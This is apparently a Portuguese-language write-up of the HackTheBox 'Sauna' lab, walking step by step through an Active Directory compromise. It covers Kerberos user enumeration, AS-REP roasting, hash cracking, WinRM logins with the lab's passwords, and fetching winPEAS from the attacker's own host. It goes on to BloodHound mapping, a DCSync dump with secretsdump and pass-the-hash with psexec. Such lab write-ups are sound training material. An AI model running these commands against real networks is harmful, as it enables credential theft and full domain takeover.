> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md). # Relato do HackTheBox Sauna {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Vazamento de Informações * Enumeração LDAP * Enumeração de Usuários Kerberos - Kerbrute * Ataque AS-REP Roasting (GetNPUsers) * Quebrando hashes * Enumeração do Sistema - WinPEAS * Credenciais de AutoLogon * BloodHound - SharpHound.ps1 * Ataque DCSync - Secretsdump (Escalada de Privilégios) * Pass-the-Hash {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts ```

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir de forma concisa as portas abertas e copiá-las para a área de transferência.

**Varredura de versão das portas com Nmap:**/ Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted ```

## **Enumeração e exploração:** ### **Reconhecimento SMB:** Usando o CrackMapExec para identificar o sistema operacional ```bash crackmapexec smb 10.10.10.175 ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo.

#### Explorando compartilhamentos SMB na rede para identificar recursos compartilhados, mas sem resultados. ```bash crackmapexec smb 10.10.10.175 --shares ```

```bash smbmap -H 10.10.10.175 -u 'null' ```

```bash smbclient -L 10.10.10.175 -N ```

### **Reconhecimento RPC:** Uso do rpcclient para interagir com serviços CPP e coletar informações de recursos ```bash rpcclient -U "" 10.10.10.175 -N enumdomusers ```

### **Reconhecimento LDAP:** {% embed url="" %} #### Análise das informações LDAP para detalhes sobre a estrutura do domínio e usuários. ```bash ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts ```

**Análise das Informações LDAP** Análise de detalhes sobre a estrutura do domínio e usuários. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL ``` **Filtragem de usuários LDAP** Filtro para obter apenas usuários LDAP. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//' ```

### Lista de Usuários:

#### Crie um `users.txt` arquivo contendo possíveis nomes de usuário. ``` hugosmith h.smith hugo.smith hsmith fergussmith f.smith fergus.smith fsmith hugobear h.bear hugo.bear hbear stevenkerb s.kerb steven.kerb skerb shauncoins s.coins shaun.coins scoins bowietaylor b.taylor bowie.taylor btaylor sophiedriver s.driver sophie.driver sdriver ``` ### **Lista de Usuários via Kerberos** Usando `kerbrute` para listar usuários válidos. ```bash ./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt ```

### **Lista de Usuários via Impacket** Usando `impacket-GetNPUsers` para listar usuários válidos sem senhas. ```bash impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt ```

### Ataque de Força Bruta: Usando o John para quebrar o hash recuperado.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

#### Conexão e Controle Remoto Usando WinRM para se conectar remotamente. ```bash crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ``` #### Funciona, mas sem a marca de pwned não é possível conectar via WinRM.

Neste exemplo, a conexão é possível porque o usuário fsmith é membro do grupo /\*Remote Management Users ```bash crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

#### **Login com Evil-WinRM** Usando Evil-WinRM para uma conexão interativa via WinRM. ```bash evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

## Escalada de privilégio: #### **Verificação de Privilégios Especiais:** Usando `whoami /priv` para verificar privilégios especiais.

#### **Buscar Novos Usuários** Usando `net user` para buscar novos usuários.

**Busca de credenciais para o usuário "svc/ loanmgr"** ### **Reconhecimento com** winPEAS.exe {% embed url="" %} Baixe e execute a ferramenta de reconhecimento winPEAS ```bash Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe" ./winPEAS.exe ```

### Validação das credenciais encontradas com crackmapexec: Credenciais de login automático do usuário `svc_loanmgr` foram encontradas, com a senha

#### Usando crackmapexec para validar se a senha está correta. ```bash crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

### Conexão com as credenciais de "svc/ loanmgr": ```bash evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

## Lista do Domínio com BloodHound:

Instalação do BloodHound:

```bash apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` #### Conexão ao BloodHound com credenciais neo4j:neo4j.

#### Iniciando o BloodHound. ```bash bloodhound &> /dev/null & disown ```

### Coletar informações com SharpHound.ps1 {% embed url="" %}

### Transferência dos dados coletados para o Linux e importação no BloodHound #### Criar um arquivo .zip com os resultados da coleta. ```bash Import-Module ./sharhound.ps1 Invoke-BloodHound -CollectionMethod All ``` #### Baixe o arquivo zip da máquina Windows para o Linux. ```powershell download PS C:/windows/temp/privesc/file.zip file.zip ``` #### Importar o arquivo zip para o BloodHound.

### Análise e operação: #### Filtrar pelo caminho mais curto até a administração

#### A ferramenta indica a possibilidade de realizar um ataque DCSync.

## Vulnerabilidade do Ataque DCSync: {% embed url="" %} #### Usando secretsdump para obter o hash NT do usuário administrador. ```bash impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 ```

#### Usando psexec para executar um cmd como administrador usando o hash NT. ```bash impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e ```

### Flag final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.